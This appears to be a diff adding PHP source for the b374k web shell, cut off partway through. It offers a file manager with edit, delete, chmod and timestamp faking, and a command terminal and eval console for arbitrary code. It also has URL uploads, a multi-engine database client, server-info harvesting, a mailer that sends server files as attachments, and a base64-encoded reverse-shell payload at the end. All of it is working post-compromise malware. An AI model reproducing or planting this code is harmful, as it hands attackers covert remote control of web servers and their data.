if(is_file($path)){ + $dirname = realpath(dirname($path)).DIRECTORY_SEPARATOR; + setcookie("cwd", $dirname); + chdir($dirname); + $nav = get_nav($dirname); + $cwd = html_safe($dirname); + $explorer_content = view_file($path, "auto"); + } + elseif(is_dir($path)){ + $path = realpath($path).DIRECTORY_SEPARATOR; + setcookie("cwd", $path); + chdir($path); + $nav = get_nav($path); + $cwd = html_safe($path); + $explorer_content = show_all_files($path); + } +} +else $explorer_content = show_all_files(get_cwd()); + +$GLOBALS['module']['explorer']['id'] = "explorer"; +$GLOBALS['module']['explorer']['title'] = "Explorer"; +$GLOBALS['module']['explorer']['js_ontabselected'] = ""; +$GLOBALS['module']['explorer']['content'] = $explorer_content; + +$GLOBALS['module']['terminal']['id'] = "terminal"; +$GLOBALS['module']['terminal']['title'] = "Terminal"; +$GLOBALS['module']['terminal']['js_ontabselected'] = " +if((!portableMode) && ($('#terminalOutput').html()=='')) $('#terminalInput').focus();"; +$GLOBALS['module']['terminal']['content'] = "
".get_cwd().">
"; + + +$GLOBALS['module']['eval']['id'] = "eval"; +$GLOBALS['module']['eval']['title'] = "Eval"; +$GLOBALS['module']['eval']['js_ontabselected'] = " +if((!portableMode) && ($('#evalOutput').html()=='You can also press ctrl+enter to submit')) $('#evalInput').focus();"; +$GLOBALS['module']['eval']['content'] = " + + + + + + + + + + + + + + + +

Eval

+ + +
+ + + run +
You can also press ctrl+enter to submit
+
+"; + +$res = ""; +if(isset($p['cd'])){ + $path = $p['cd']; + if(trim($path)=='') $path = dirname(__FILE__); + + $path = realpath($path); + if(is_file($path)) $path = dirname($path); + if(is_dir($path)){ + chdir($path); + $path = $path.DIRECTORY_SEPARATOR; + setcookie("cwd", $path); + $res = $path."{[|b374k|]}".get_nav($path)."{[|b374k|]}"; + if(isset($p['showfiles'])&&($p['showfiles']=='true')){ + $res .= show_all_files($path); + } + } + else $res = "error"; + output($res); +} +elseif(isset($p['viewFile']) && isset($p['viewType'])){ + $path = trim($p['viewFile']); + $type = trim($p['viewType']); + $preserveTimestamp = trim($p['preserveTimestamp']); + if(is_file($path)){ + $res = view_file($path, $type, $preserveTimestamp); + } + else $res = "error"; + output($res); +} +elseif(isset($p['renameFile']) && isset($p['renameFileTo'])){ + $renameFile = trim($p['renameFile']); + $renameFileTo = trim($p['renameFileTo']); + if(file_exists($renameFile)){ + if(rename($renameFile, $renameFileTo)){ + $res = dirname($renameFileTo); + } + else $res = "error"; + } + else $res = "error"; + output($res); +} +elseif(isset($p['newFolder'])){ + $newFolder = trim($p['newFolder']); + if(mkdir($newFolder)){ + $res = dirname($newFolder); + } + else $res = "error"; + output($res); +} +elseif(isset($p['newFile'])){ + $newFile = trim($p['newFile']); + if(touch($newFile)){ + $res = dirname($newFile); + } + else $res = "error"; + output($res); +} +elseif(isset($p['delete'])){ + $path = trim($p['delete']); + $dirname = dirname($path); + if(is_file($path)){ + if(unlink($path)) $res = $dirname; + } + elseif(is_dir($path)){ + if(rmdirs($path)>0) $res = $dirname; + } + else $res = "error"; + if(file_exists($path)) $res = "error"; + output($res); +} +elseif(isset($p['editType'])&&isset($p['editFilename'])&&isset($p['editInput'])&&isset($p['preserveTimestamp'])){ + $editFilename = trim($p['editFilename']); + $editInput = trim($p['editInput']); + $editType = trim($p['editType']); + $preserveTimestamp = trim($p['preserveTimestamp']); + $time = filemtime($editFilename); + if($editType=='hex') $editInput = pack("H*" , preg_replace("/\s/","", $editInput)); + if(write_file($editFilename, $editInput)){ + $res = $editFilename; + if($preserveTimestamp=='true') touch($editFilename, $time); + } + else $res = "error"; + output($res); +} +elseif(isset($p['findType'])){ + $findType = trim($p['findType']); + $findPath = trim($p['findPath']); + $findName = trim($p['findName']); + $findNameRegex = trim($p['findNameRegex']); + $findNameInsensitive = trim($p['findNameInsensitive']); + $findContent = trim($p['findContent']); + $findContentRegex = trim($p['findContentRegex']); + $findContentInsensitive = trim($p['findContentInsensitive']); + $findWritable = trim($p['findWritable']); + $findReadable = trim($p['findReadable']); + + $candidate = get_all_files($findPath); + if($findType=='file') $candidate = array_filter($candidate, "is_file"); + elseif($findType=='folder') $candidate = array_filter($candidate, "is_dir"); + else $res = "error"; + + foreach($candidate as $k){ + if(($findType=="file")||($findType=="folder")){ + if(!empty($findName)){ + if($findNameRegex=="true"){ + $case = ($findNameInsensitive=="true")? "i":""; + if(!preg_match("/".$findName."/".$case, basename($k))){ + $candidate = array_diff($candidate, array($k)); + } + } + else{ + $check = false; + if($findNameInsensitive=="true"){ + $check = strpos(strtolower(basename($k)), strtolower($findName))===false; + } + else{ + $check = strpos(basename($k), $findName)===false; + } + + if($check){ + $candidate = array_diff($candidate, array($k)); + } + } + } + } + if($findType=="file"){ + if(!empty($findContent)){ + $content = read_file($k); + if($findContentRegex=="true"){ + $case = ($findContentInsensitive=="true")? "i":""; + if(!preg_match("/".$findContent."/".$case, $content)){ + $candidate = array_diff($candidate, array($k)); + } + } + else{ + $check = false; + if($findContentInsensitive=="true"){ + $check = strpos(strtolower($content), strtolower($findContent))===false; + } + else{ + $check = strpos($content, $findContent)===false; + } + if($check){ + $candidate = array_diff($candidate, array($k)); + } + } + } + } + } + + foreach($candidate as $k){ + if($findWritable=="true"){ + if(!is_writable($k)) $candidate = array_diff($candidate, array($k)); + } + if($findReadable=="true"){ + if(!is_readable($k)) $candidate = array_diff($candidate, array($k)); + } + } + + if(count($candidate)>0){ + $res = ""; + foreach($candidate as $k){ + $res .= "

> ".html_safe($k)."

"; + } + } + else $res = ""; + output($res); +} +elseif(isset($p['ulType'])){ + $ulSaveTo = trim($p['ulSaveTo']); + $ulFilename = trim($p['ulFilename']); + + if($p['ulType']=='comp'){ + $ulFile = $_FILES['ulFile']; + if(empty($ulFilename)) $ulFilename = $ulFile['name']; + + if(is_uploaded_file($ulFile['tmp_name'])){ + if(!is_dir($ulSaveTo)) mkdir($ulSaveTo); + $newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename; + if(move_uploaded_file($ulFile['tmp_name'], $newfile)){ + $res = "> ".html_safe($newfile)." ( 100% )"; + } + else $res = "error"; + } + else $res = "error"; + } + elseif($p['ulType']=='url'){ + $ulFile = trim($p['ulFile']); + if(empty($ulFilename)) $ulFilename = basename($ulFile); + if(!is_dir($ulSaveTo)) mkdir($ulSaveTo); + $newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename; + + if(download($ulFile, $newfile)){ + $res = "> ".html_safe($newfile)." ( 100% )"; + } + else $res = "error"; + } + else $res = "error"; + output($res); +} +elseif(isset($p['download'])){ + $file = trim($p['download']); + if(is_file($file)){ + header("Content-Type: application/octet-stream"); + header('Content-Transfer-Encoding: binary'); + header("Content-length: ".filesize($file)); + header("Cache-Control: no-cache"); + header("Pragma: no-cache"); + header("Content-disposition: attachment; filename=\"".basename($file)."\";"); + $handler = fopen($file,"rb"); + while(!feof($handler)){ + print(fread($handler, 1024*8)); + @ob_flush(); + @flush(); + } + fclose($handler); + die(); + } +} +elseif(isset($p['multimedia'])){ + $file = trim($p['multimedia']); + $mime_list = get_resource('mime'); + $mime = ""; + $file_ext_pos = strrpos($file, "."); + if($file_ext_pos!==false){ + $file_ext = trim(substr($file, $file_ext_pos),"."); + if(preg_match("/([^\s]+)\ .*\b".$file_ext."\b.*/i", $mime_list, $res)){ + $mime = $res[1]; + } + } + + if(is_file($file)){ + header("Content-Type: ".$mime); + header('Content-Transfer-Encoding: binary'); + header("Content-length: ".filesize($file)); + echo "data:".$mime.";base64,".base64_encode(read_file($file)); + die(); + } +} +elseif(isset($p['massType'])&&isset($p['massBuffer'])&&isset($p['massPath'])&&isset($p['massValue'])){ + $massType = trim($p['massType']); + $massBuffer = trim($p['massBuffer']); + $massPath = realpath($p['massPath']).DIRECTORY_SEPARATOR; + $massValue = trim($p['massValue']); + $counter = 0; + + $massBufferArr = explode("\n", $massBuffer); + if(($massType=='tar')||($massType=='targz')||($massType=='zip')){ + if(compress($massType, $massValue, $massBufferArr)){ + $counter++; + return $counter; + } + } + else{ + foreach($massBufferArr as $k){ + $path = trim($k); + if(file_exists($path)){ + $preserveTimestamp = filemtime($path); + if($massType=='delete'){ + if(is_file($path)){ + if(unlink($path)) $counter++; + } + elseif(is_dir($path)){ + if(rmdirs($path)>0) $counter++; + } + } + elseif($massType=='cut'){ + $dest = $massPath.basename($path); + if(rename($path, $dest)){ + $counter++; + touch($dest, $preserveTimestamp); + } + } + elseif($massType=='copy'){ + $dest = $massPath.basename($path); + if(is_dir($path)){ + if(copys($path, $dest)>0) $counter++; + } + elseif(is_file($path)){ + if(copy($path, $dest)) $counter++; + } + } + elseif(($massType=='untar')||($massType=='untargz')||($massType=='unzip')){ + if(decompress($massType, $path, $massValue)){ + $counter++; + return $counter; + } + } + elseif(!empty($massValue)){ + if($massType=='chmod'){ + if(chmod($path, octdec($massValue))) $counter++; + } + elseif($massType=='chown'){ + if(chown($path, $massValue)) $counter++; + } + elseif($massType=='touch'){ + if(touch($path, strtotime($massValue))) $counter++; + } + } + } + } + } + if($counter>0) output($counter); + output('error'); +} +elseif(isset($p['viewFileorFolder'])){ + $entry = $p['viewFileorFolder']; + if(is_file($entry)) output('file'); + elseif(is_dir($entry)) output('folder'); + output('error'); +} +elseif(isset($p['terminalInput'])){ + output(html_safe(execute($p['terminalInput']))); +} +elseif(isset($p['evalInput']) && isset($p['evalType'])){ + $evalInput = $p['evalInput']; + $evalOptions = (isset($p['evalOptions']))? $p['evalOptions']:""; + $evalArguments = (isset($p['evalArguments']))? $p['evalArguments']:""; + $evalType = $p['evalType']; + + error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE); + @ini_set('html_errors','0'); + @ini_set('display_errors','1'); + @ini_set('display_startup_errors','1'); + + $res = eval_go($evalType, $evalInput, $evalOptions, $evalArguments); + if($res===false) $res == "error"; + output(html_safe($res)); +} +elseif(isset($p['evalGetSupported'])){ + $res = eval_get_supported(); + output($res); +} +$GLOBALS['module']['convert']['id'] = "convert"; +$GLOBALS['module']['convert']['title'] = "Convert"; +$GLOBALS['module']['convert']['js_ontabselected'] = " +if((!portableMode) && ($('#decodeResult').children().length==1)) $('#decodeStr').focus();"; +$GLOBALS['module']['convert']['content'] = " + + + + + + + + + +

Convert

convert
You can also press ctrl+enter to submit
"; + +if(!function_exists('decode')){ + function decode($str){ + $res = ""; + $length = (int) strlen($str); + + $res .= decode_line("md5", md5($str), "input"); + $res .= decode_line("sha1", sha1($str), "input"); + + $res .= decode_line("base64 encode", base64_encode($str), "textarea"); + $res .= decode_line("base64 decode", base64_decode($str), "textarea"); + + + $res .= decode_line("hex to string", @pack("H*" , $str), "textarea"); + $res .= decode_line("string to hex", bin2hex($str), "textarea"); + + $ascii = ""; + for($i=0; $i<$length; $i++){ + $ascii .= ord(substr($str,$i,1))." "; + } + $res .= decode_line("ascii char", trim($ascii), "textarea"); + + $res .= decode_line("reversed", strrev($str), "textarea"); + $res .= decode_line("lowercase", strtolower($str), "textarea"); + $res .= decode_line("uppercase", strtoupper($str), "textarea"); + + $res .= decode_line("urlencode", urlencode($str), "textarea"); + $res .= decode_line("urldecode", urldecode($str), "textarea"); + $res .= decode_line("rawurlencode", rawurlencode($str), "textarea"); + $res .= decode_line("rawurldecode", rawurldecode($str), "textarea"); + + $res .= decode_line("htmlentities", html_safe($str), "textarea"); + + if(function_exists('hash_algos')){ + $algos = hash_algos(); + foreach($algos as $algo){ + if(($algo=='md5')||($algo=='sha1')) continue; + $res .= decode_line($algo, hash($algo, $str), "input"); + } + } + + return $res; + } +} + +if(!function_exists('decode_line')){ + function decode_line($type, $result, $inputtype){ + $res = "".$type.""; + if($inputtype=='input'){ + $res .= ""; + } + else{ + $res .= ""; + } + return $res; + } +} + +if(isset($p['decodeStr'])){ + $decodeStr = $p['decodeStr']; + output(decode($decodeStr)); +} +$GLOBALS['module']['database']['id'] = "database"; +$GLOBALS['module']['database']['title'] = "Database"; +$GLOBALS['module']['database']['js_ontabselected'] = ""; +$GLOBALS['module']['database']['content'] = " + + + + + + + + + + + + + + + + + + + + + + + + + +

Connect

Host
Username
Password
Port (Optional)
+ + connect
+ +"; + +if(!function_exists('sql_connect')){ + function sql_connect($sqltype, $sqlhost, $sqluser, $sqlpass){ + if($sqltype == 'mysql'){ + if(class_exists('mysqli')) return new mysqli($sqlhost, $sqluser, $sqlpass); + elseif(function_exists('mysql_connect')) return @mysql_connect($sqlhost, $sqluser, $sqlpass); + } + elseif($sqltype == 'mssql'){ + if(function_exists('sqlsrv_connect')){ + $coninfo = array("UID"=>$sqluser, "PWD"=>$sqlpass); + return @sqlsrv_connect($sqlhost,$coninfo); + } + elseif(function_exists('mssql_connect')) return @mssql_connect($sqlhost, $sqluser, $sqlpass); + } + elseif($sqltype == 'pgsql'){ + $hosts = explode(":", $sqlhost); + if(count($hosts)==2){ + $host_str = "host=".$hosts[0]." port=".$hosts[1]; + } + else $host_str = "host=".$sqlhost; + if(function_exists('pg_connect')) return @pg_connect("$host_str user=$sqluser password=$sqlpass"); + } + elseif($sqltype == 'oracle'){ if(function_exists('oci_connect')) return @oci_connect($sqluser, $sqlpass, $sqlhost); } + elseif($sqltype == 'sqlite3'){ + if(class_exists('SQLite3')) if(!empty($sqlhost)) return new SQLite3($sqlhost); + else return false; + } + elseif($sqltype == 'sqlite'){ if(function_exists('sqlite_open')) return @sqlite_open($sqlhost); } + elseif($sqltype == 'odbc'){ if(function_exists('odbc_connect')) return @odbc_connect($sqlhost, $sqluser, $sqlpass); } + elseif($sqltype == 'pdo'){ + if(class_exists('PDO')) if(!empty($sqlhost)) return new PDO($sqlhost, $sqluser, $sqlpass); + else return false; + } + return false; + } +} + +if(!function_exists('sql_query')){ + function sql_query($sqltype, $query, $con){ + if($sqltype == 'mysql'){ + if(class_exists('mysqli')) return $con->query($query); + elseif(function_exists('mysql_query')) return mysql_query($query); + } + elseif($sqltype == 'mssql'){ + if(function_exists('sqlsrv_query')) return sqlsrv_query($con,$query); + elseif(function_exists('mssql_query')) return mssql_query($query); + } + elseif($sqltype == 'pgsql') return pg_query($query); + elseif($sqltype == 'oracle') return oci_execute(oci_parse($con, $query)); + elseif($sqltype == 'sqlite3') return $con->query($query); + elseif($sqltype == 'sqlite') return sqlite_query($con, $query); + elseif($sqltype == 'odbc') return odbc_exec($con, $query); + elseif($sqltype == 'pdo') return $con->query($query); + } +} + +if(!function_exists('sql_num_rows')){ + function sql_num_rows($sqltype,$result){ + if($sqltype == 'mysql'){ + if(class_exists('mysqli_result')) return $result->mysqli_num_rows; + elseif(function_exists('mysql_num_rows')) return mysql_num_rows($result); + } + elseif($sqltype == 'mssql'){ + if(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($result); + elseif(function_exists('mssql_num_rows')) return mssql_num_rows($result); + } + elseif($sqltype == 'pgsql') return pg_num_rows($result); + elseif($sqltype == 'oracle') return oci_num_rows($result); + elseif($sqltype == 'sqlite3'){ + $metadata = $result->fetchArray(); + if(is_array($metadata)) return $metadata['count']; + } + elseif($sqltype == 'sqlite') return sqlite_num_rows($result); + elseif($sqltype == 'odbc') return odbc_num_rows($result); + elseif($sqltype == 'pdo') return $result->rowCount(); + } +} + +if(!function_exists('sql_num_fields')){ + function sql_num_fields($sqltype, $result){ + if($sqltype == 'mysql'){ + if(class_exists('mysqli_result')) return $result->field_count; + elseif(function_exists('mysql_num_fields')) return mysql_num_fields($result); + } + elseif($sqltype == 'mssql'){ + if(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($result); + elseif(function_exists('mssql_num_fields')) return mssql_num_fields($result); + } + elseif($sqltype == 'pgsql') return pg_num_fields($result); + elseif($sqltype == 'oracle') return oci_num_fields($result); + elseif($sqltype == 'sqlite3') return $result->numColumns(); + elseif($sqltype == 'sqlite') return sqlite_num_fields($result); + elseif($sqltype == 'odbc') return odbc_num_fields($result); + elseif($sqltype == 'pdo') return $result->columnCount(); + } +} + +if(!function_exists('sql_field_name')){ + function sql_field_name($sqltype,$result,$i){ + if($sqltype == 'mysql'){ + if(class_exists('mysqli_result')) { $z=$result->fetch_field();return $z->name;} + elseif(function_exists('mysql_field_name')) return mysql_field_name($result,$i); + } + elseif($sqltype == 'mssql'){ + if(function_exists('sqlsrv_field_metadata')){ + $metadata = sqlsrv_field_metadata($result); + if(is_array($metadata)){ + $metadata=$metadata[$i]; + } + if(is_array($metadata)) return $metadata['Name']; + } + elseif(function_exists('mssql_field_name')) return mssql_field_name($result,$i); + } + elseif($sqltype == 'pgsql') return pg_field_name($result,$i); + elseif($sqltype == 'oracle') return oci_field_name($result,$i+1); + elseif($sqltype == 'sqlite3') return $result->columnName($i); + elseif($sqltype == 'sqlite') return sqlite_field_name($result,$i); + elseif($sqltype == 'odbc') return odbc_field_name($result,$i+1); + elseif($sqltype == 'pdo'){ + $res = $result->getColumnMeta($i); + return $res['name']; + } + } +} + +if(!function_exists('sql_fetch_data')){ + function sql_fetch_data($sqltype,$result){ + if($sqltype == 'mysql'){ + if(class_exists('mysqli_result')) return $result->fetch_row(); + elseif(function_exists('mysql_fetch_row')) return mysql_fetch_row($result); + } + elseif($sqltype == 'mssql'){ + if(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array($result,1); + elseif(function_exists('mssql_fetch_row')) return mssql_fetch_row($result); + } + elseif($sqltype == 'pgsql') return pg_fetch_row($result); + elseif($sqltype == 'oracle') return oci_fetch_row($result); + elseif($sqltype == 'sqlite3') return $result->fetchArray(1); + elseif($sqltype == 'sqlite') return sqlite_fetch_array($result,1); + elseif($sqltype == 'odbc') return odbc_fetch_array($result); + elseif($sqltype == 'pdo') return $result->fetch(2); + } +} + +if(!function_exists('sql_close')){ + function sql_close($sqltype,$con){ + if($sqltype == 'mysql'){ + if(class_exists('mysqli')) return $con->close(); + elseif(function_exists('mysql_close')) return mysql_close($con); + } + elseif($sqltype == 'mssql'){ + if(function_exists('sqlsrv_close')) return sqlsrv_close($con); + elseif(function_exists('mssql_close')) return mssql_close($con); + } + elseif($sqltype == 'pgsql') return pg_close($con); + elseif($sqltype == 'oracle') return oci_close($con); + elseif($sqltype == 'sqlite3') return $con->close(); + elseif($sqltype == 'sqlite') return sqlite_close($con); + elseif($sqltype == 'odbc') return odbc_close($con); + elseif($sqltype == 'pdo') return $con = null; + } +} + +if(!function_exists('sql_get_supported')){ + function sql_get_supported(){ + $db_supported = array(); + + if(function_exists("mysql_connect")) $db_supported[] = 'mysql'; + if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $db_supported[] = 'mssql'; + if(function_exists("pg_connect")) $db_supported[] = 'pgsql'; + if(function_exists("oci_connect")) $db_supported[] = 'oracle'; + if(function_exists("sqlite_open")) $db_supported[] = 'sqlite'; + if(class_exists("SQLite3")) $db_supported[] = 'sqlite3'; + if(function_exists("odbc_connect")) $db_supported[] = 'odbc'; + if(class_exists("PDO")) $db_supported[] = 'pdo'; + + return implode(",", $db_supported); + } +} + +if(isset($p['dbGetSupported'])){ + $res = sql_get_supported(); + if(empty($res)) $res = "error"; + output($res); +} +elseif(isset($p['dbType'])&&isset($p['dbHost'])&&isset($p['dbUser'])&&isset($p['dbPass'])&&isset($p['dbPort'])){ + $type = $p['dbType']; + $host = $p['dbHost']; + $user = $p['dbUser']; + $pass = $p['dbPass']; + $port = $p['dbPort']; + + $con = sql_connect($type ,$host , $user , $pass); + $res = ""; + + if($con!==false){ + if(isset($p['dbQuery'])){ + $query = $p['dbQuery']; + $pagination = ""; + if((isset($p['dbDB']))&&(isset($p['dbTable']))){ + $db = trim($p['dbDB']); + $table = trim($p['dbTable']); + $start = (int) (isset($p['dbStart']))? trim($p['dbStart']):0; + $limit = (int) (isset($p['dbLimit']))? trim($p['dbLimit']):100; + + if($type=='mysql'){ + $query = "SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$limit.";"; + } + elseif($type=='mssql'){ + $query = "SELECT TOP ".$limit." * FROM ".$db."..".$table.";"; + } + elseif($type=='pgsql'){ + $query = "SELECT * FROM ".$db.".".$table." LIMIT ".$limit." OFFSET ".$start.";"; + } + elseif($type=='oracle'){ + $limit = $start + $limit; + $query = "SELECT * FROM ".$db.".".$table." WHERE ROWNUM BETWEEN ".$start." AND ".$limit.";"; + } + elseif($type=='sqlite' || $type=='sqlite3'){ + $query = "SELECT * FROM ".$table." LIMIT ".$start.",".$limit.";"; + } + else $query = ""; + + $pagination = "Limit + prev + next + + + + "; + } + + $querys = explode(";", $query); + foreach($querys as $query){ + if(trim($query) != ""){ + $query_query = sql_query($type, $query, $con); + if($query_query!=false){ + $res .= "

".html_safe($query).";   [ ok ]

"; + if(!empty($pagination)){ + $res .= "

".$pagination."

"; + } + if(!is_bool($query_query)){ + $res .= ""; + for($i = 0; $i < sql_num_fields($type, $query_query); $i++) + $res .= ""; + $res .= ""; + while($rows = sql_fetch_data($type, $query_query)){ + $res .= ""; + foreach($rows as $r){ + if(empty($r)) $r = " "; + $res .= ""; + } + $res .= ""; + } + $res .= "
".html_safe(sql_field_name($type, $query_query, $i))."
".html_safe($r)."
"; + } + } + else{ + $res .= "

".html_safe($query).";   [ error ]

"; + } + } + } + } + else{ + if(($type!='pdo') && ($type!='odbc')){ + if($type=='mysql') $showdb = "SHOW DATABASES"; + elseif($type=='mssql') $showdb = "SELECT name FROM master..sysdatabases"; + elseif($type=='pgsql') $showdb = "SELECT schema_name FROM information_schema.schemata"; + elseif($type=='oracle') $showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME"; + elseif(($type=='sqlite3') || ($type=='sqlite')) $showdb = "SELECT \"".$host."\""; + else $showdb = "SHOW DATABASES"; + + $query_db = sql_query($type, $showdb, $con); + + if($query_db!=false) { + while($db_arr = sql_fetch_data($type, $query_db)){ + foreach($db_arr as $db){ + if($type=='mysql') $showtbl = "SHOW TABLES FROM ".$db; + elseif($type=='mssql') $showtbl = "SELECT name FROM ".$db."..sysobjects WHERE xtype = 'U'"; + elseif($type=='pgsql') $showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema='".$db."'"; + elseif($type=='oracle') $showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='".$db."'"; + elseif(($type=='sqlite3') || ($type=='sqlite')) $showtbl = "SELECT name FROM sqlite_master WHERE type='table'"; + else $showtbl = ""; + + $res .= "

".$db."

"; + $query_table = sql_query($type, $showtbl, $con); + + if($query_table!=false){ + while($tables_arr = sql_fetch_data($type, $query_table)){ + foreach($tables_arr as $table) $res .= ""; + } + } + $res .= ""; + } + } + } + } + } + } + if(!empty($res)) output($res); + output('error'); +} + +$GLOBALS['module']['info']['id'] = "info"; +$GLOBALS['module']['info']['title'] = "Info"; +$GLOBALS['module']['info']['js_ontabselected'] = ""; +$GLOBALS['module']['info']['content'] = "
"; + +if(!function_exists('info_getinfo')){ + function info_getinfo(){ + $res = ""; + // server misc info + $res .= "

Server Info

"; + $res .= ""; + + if(!is_win()){ + // cpu info + if($i_buff=trim(read_file("/proc/cpuinfo"))){ + $res .= "

CPU Info

"; + $res .= ""; + } + + // mem info + if($i_buff=trim(read_file("/proc/meminfo"))){ + $res .= "

Memory Info

"; + $i_buffs = explode("\n", $i_buff); + $res .= ""; + } + + // partition + if($i_buff=trim(read_file("/proc/partitions"))){ + $i_buff = preg_replace("/\ +/", " ", $i_buff); + $res .= "

Partitions Info

"; + $res .= ""; + } + } + $phpinfo = array("PHP General" => INFO_GENERAL, "PHP Configuration" => INFO_CONFIGURATION, "PHP Modules" => INFO_MODULES, "PHP Environment" => INFO_ENVIRONMENT, "PHP Variables" => INFO_VARIABLES); + foreach($phpinfo as $p=>$i){ + $res .= "

".$p."

"; + ob_start(); + eval("phpinfo(".$i.");"); + $b = ob_get_contents(); + ob_end_clean(); + if(preg_match("/(.*?)<\/body>/is", $b, $r)){ + $body = str_replace(array(",", ";", "&"), array(", ", "; ", "&"), $r[1]); + $body = str_replace("(.*?)<\/tr>/", "", $body); + $body = preg_replace("//", "", $body); + $body = preg_replace("//", "", $body); + + $res .= ""; + } + } + + $res .= "refresh
"; + return $res; + } +} + +if(isset($p['infoRefresh'])){ + output(info_getinfo()); +} + +$GLOBALS['module']['mail']['id'] = "mail"; +$GLOBALS['module']['mail']['title'] = "Mail"; +$GLOBALS['module']['mail']['js_ontabselected'] = "if(!portableMode) $('#mailFrom').focus();"; +$GLOBALS['module']['mail']['content'] = " + + + + + + + + + + + + + + + + +

Mail

From
To
Subject
send + attachment +
+"; + +if(!function_exists('send_email')){ + function send_email($from, $to, $subject, $msg, $attachment){ + $headers = "MIME-Version: 1.0\r\nFrom: ".$from."\r\nReply-To: ".$from."\r\n"; + + $rand = md5(time()); + $headers .= "Content-Type: multipart/mixed; boundary=\"".$rand."\"\r\n\r\n"; + + $headers .= "--".$rand."\r\n"; + $headers .= "Content-Type: text/html; charset=\"UTF-8\"\r\nContent-Transfer-Encoding: 8bit\r\n\r\n"; + $headers .= $msg."\r\n\r\n"; + + if(count($attachment)>0){ + foreach($attachment as $file){ + if(is_file($file)){ + $content = chunk_split(base64_encode(read_file($file))); + $headers .= "--".$rand."\r\n"; + $headers .= "Content-Type: application/octet-stream; name=\"".basename($file)."\"\r\n"; + $headers .= "Content-Transfer-Encoding: base64\r\n"; + $headers .= "Content-Disposition: attachment\r\n\r\n"; + $headers .= $content."\r\n\r\n"; + } + } + } + $headers .= "--".$rand."--\r\n"; + if(@mail($to, $subject, "", $headers)) return true; + return false; + } +} + +if(isset($p['mailFrom'])&&isset($p['mailTo'])&&isset($p['mailSubject'])&&isset($p['mailContent'])){ + $mailFrom = trim($p['mailFrom']); + $mailTo = trim($p['mailTo']); + $mailSubject = trim($p['mailSubject']); + $mailContent = trim($p['mailContent']); + $mailAttachment = trim($p['mailAttachment']); + $mailAttachment = (!empty($mailAttachment))? explode("{[|b374k|]}", $p['mailAttachment']):array(); + + if(empty($mailTo)) output("Please specify at least one recipient"); + if(empty($mailFrom)) $mailFrom = "anonymous@anonymous.com"; + + foreach($mailAttachment as $file){ + $file = trim($file); + if(empty($file)) continue; + if(!is_file($file)) output("No such file : ".$file); + } + + if(send_email($mailFrom, $mailTo, $mailSubject, $mailContent, $mailAttachment)) output("Mail sent to ".html_safe($to)); + output("Failed to send mail"); +} + +$server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:""; +$remote_addr = isset($_SERVER['REMOTE_ADDR'])? $_SERVER['REMOTE_ADDR']:""; +$default_port = 13123; +$winbinary = (strtolower(substr(php_uname(),0,3))=="win")? "":""; + +$GLOBALS['resources']['rs_php'] = "7VRNj9s2ED3bv0JRBSyFKrZlFwiwLjeX9lggaAv0kN0KMkWtCEsiy6FqB9397x1+yB8bZzdIg15aGJbIGc6b4czT+/6tatT0m6gxRsH1fH4vTDNsZkx2883qzXdb/5xyraUuNFdSG9Hfk0W6ngI3hREdL1rRCeNMclOITrWCCVPU7QANQeM0MaW+5wYo36tWVpzEUZwFI/oTBjRfrd7galfSfmhbXPHDChoaYyAmjn798eef6N5w3a3f/ZLTq9vk3W8/3Fytgxtt6/lG9HNootcixtiOxq7+CBrettF1xGTfc2Z4ddujfypqwuTQGzKWmFKap39NJ4miwbTGDVYQ27dBONFXuH6c8hb4pfDleTi8X9x5iIMhvxuxSrZ1WLaOeuiZEbIv+F6AAXKlWG/aopZ6e5V6TFHRo9F2doJxzkxf5ynGGZKfWL1lESxKgtgXODMQFUnPI3wFWFK4n0sHFIzmZVeAZFscNXD9J9ckNkwhTxYz97uOZ4nKEqRHL90LY2zCMTRQRA7YI8hWrpiEPUEuGePKHgilotfIVu4wGwwb3BHkaDH0ZcdJmi2yVYr1xzvRu0In9U4Lw0nCsqSbYYfZDi84i29iCzfZNaJFp3pFaV3izFyIHVBth4FR7pTrkOb3RVca1pB4zqrbiLz//Rbuvk3nAumKt9Q69dGTpKoobv0ofbSAohKaoCdNWTMuvTuR9LQuZ3y0j0Aio0V3eutEuRva+cTRw0P0Cf8fA/rTaIO93K5HuAiT8b29MeZCls8+ynzSL+kKtKXUrJXAx3aMOzcRdFvgp612B5MKaKl1+YEs6I1fxEooHmexjtMsf2rcoXF5wejBlKZKS1ZIxXtM3mQIj50XyrmxUa+wy5qDHDSzN8R5HFl/yrlNi8yyOmWD8QvMFs+fyF88sXz2BAtOTzajh0Az+11zWdu2Pjz4lU+XpsepJboMPbR9DeWEpJ5Ah5wtahfB8xkqJX5uZWY18kBg0RdHHF0eyCpojfGVMzMInBxHGRqUiPRIyzOssaBLgKPvI1T2AuDyGcDly4CP5xw9Ie+49Nc63+dP9qG9jnKjWXvGH/Tdi6IV6iCKtRUtT9DGqQLv8T9q25erF3yResF/Vr3gknp9Sq/gf706OwEv6RV8nl7BV9IruKwG8K/pFXxtvYLP0at/LFJvb/4G"; +$GLOBALS['resources']['rs_python'] = 